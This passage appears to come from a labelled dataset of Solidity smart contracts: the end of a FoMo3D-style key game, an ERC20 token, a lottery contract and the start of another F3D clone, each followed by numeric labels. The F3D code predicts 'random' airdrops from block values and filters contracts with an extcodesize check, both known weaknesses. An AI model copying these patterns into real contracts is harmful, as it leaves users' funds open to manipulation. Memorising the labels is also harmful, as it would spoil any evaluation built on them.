if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 209 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract EOSPlusToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
uint256 internal constant INITIAL_SUPPLY = 1000000000 * 10**uint(decimals);
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
function EOSPlusToken() public {
decimals = 18;
balances[msg.sender] = INITIAL_SUPPLY;
_totalSupply = INITIAL_SUPPLY;
name = "EOS+";
symbol = "EOS+";
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) onlyPayloadSize(2 * 32) public returns (bool success) {
require (to != address(0));
require (balances[msg.sender] >= tokens);
require (balances[to] + tokens > balances[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) onlyPayloadSize(3 * 32) public returns (bool success) {
require(to != address(0));
require (balances[from] >= tokens);
require (balances[to] + tokens > balances[to]);
require (tokens <= allowed[from][msg.sender]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,957 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Cutted {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract Room2Online is Ownable {
event TicketPurchased(address lotAddr, uint ticketNumber, address player, uint totalAmount, uint netAmount);
event TicketPaid(address lotAddr, uint lotIndex, uint ticketNumber, address player, uint winning);
event LotStarted(address lotAddr, uint lotIndex, uint startTime);
event LotFinished(address lotAddr, uint lotIndex, uint finishTime);
event ParametersUpdated(address feeWallet, uint feePercent, uint minInvestLimit);
using SafeMath for uint;
uint public percentRate = 100;
uint public minInvestLimit;
uint public feePercent;
address public feeWallet;
struct Ticket {
address owner;
uint totalAmount;
uint netAmount;
uint winning;
bool finished;
}
struct Lot {
uint balance;
uint[] ticketNumbers;
uint startTime;
uint finishTime;
}
Ticket[] public tickets;
uint public lotIndex;
mapping(uint => Lot) public lots;
modifier notContract(address to) {
uint codeLength;
assembly {
codeLength := extcodesize(to)
}
require(codeLength == 0, "Contracts not supported!");
_;
}
function updateParameters(address newFeeWallet, uint newFeePercent, uint newMinInvestLimit) public onlyOwner {
feeWallet = newFeeWallet;
feePercent = newFeePercent;
minInvestLimit = newMinInvestLimit;
emit ParametersUpdated(newFeeWallet, newFeePercent, newMinInvestLimit);
}
function getTicketInfo(uint ticketNumber) public view returns(address, uint, uint, uint, bool) {
Ticket storage ticket = tickets[ticketNumber];
return (ticket.owner, ticket.totalAmount, ticket.netAmount, ticket.winning, ticket.finished);
}
constructor () public {
minInvestLimit = 10000000000000000;
feePercent = 10;
feeWallet = 0x53F22b8f420317E7CDcbf2A180A12534286CB578;
emit ParametersUpdated(feeWallet, feePercent, minInvestLimit);
emit LotStarted(address(this), lotIndex, now);
}
function setFeeWallet(address newFeeWallet) public onlyOwner {
feeWallet = newFeeWallet;
}
function () public payable notContract(msg.sender) {
require(msg.value >= minInvestLimit);
uint fee = msg.value.mul(feePercent).div(percentRate);
uint netAmount = msg.value.sub(fee);
tickets.push(Ticket(msg.sender, msg.value, netAmount, 0, false));
emit TicketPurchased(address(this), tickets.length.sub(1), msg.sender, msg.value, netAmount);
feeWallet.transfer(fee);
}
function processRewards(uint[] ticketNumbers, uint[] winnings) public onlyOwner {
Lot storage lot = lots[lotIndex];
for (uint i = 0; i < ticketNumbers.length; i++) {
uint ticketNumber = ticketNumbers[i];
Ticket storage ticket = tickets[ticketNumber];
if (!ticket.finished) {
ticket.winning = winnings[i];
ticket.finished = true;
lot.ticketNumbers.push(ticketNumber);
lot.balance = lot.balance.add(winnings[i]);
ticket.owner.transfer(winnings[i]);
emit TicketPaid(address(this), lotIndex, ticketNumber, ticket.owner, winnings[i]);
}
}
}
function finishLot(uint currentLotFinishTime, uint nextLotStartTime) public onlyOwner {
Lot storage currentLot = lots[lotIndex];
currentLot.finishTime = currentLotFinishTime;
emit LotFinished(address(this), lotIndex, currentLotFinishTime);
lotIndex++;
Lot storage nextLot = lots[lotIndex];
nextLot.startTime = nextLotStartTime;
emit LotStarted(address(this), lotIndex, nextLotStartTime);
}
function retrieveTokens(address tokenAddr, address to) public onlyOwner {
ERC20Cutted token = ERC20Cutted(tokenAddr);
token.transfer(to, token.balanceOf(address(this)));
}
} | 1 | 4,242 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract F3DShopQuick is F3Devents{
using SafeMath for uint256;
using NameFilter for string;
using F3DKeysCalcFast for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x077c6697C0e6861b0e058bc3D5ba77b9f37434C6);
address private admin = 0x700D7ccD114D988f0CEDDFCc60dd8c3a2f7b49FB;
address private coin_base = 0x4D79AAe78608CF0317F4f785cAF449faDC1ff983;
string constant public name = "F3DLink Quick";
string constant public symbol = "F3D";
uint256 private rndGap_ = 60 seconds;
uint256 constant private rndInit_ = 5 minutes;
uint256 constant private rndInc_ = 5 minutes;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
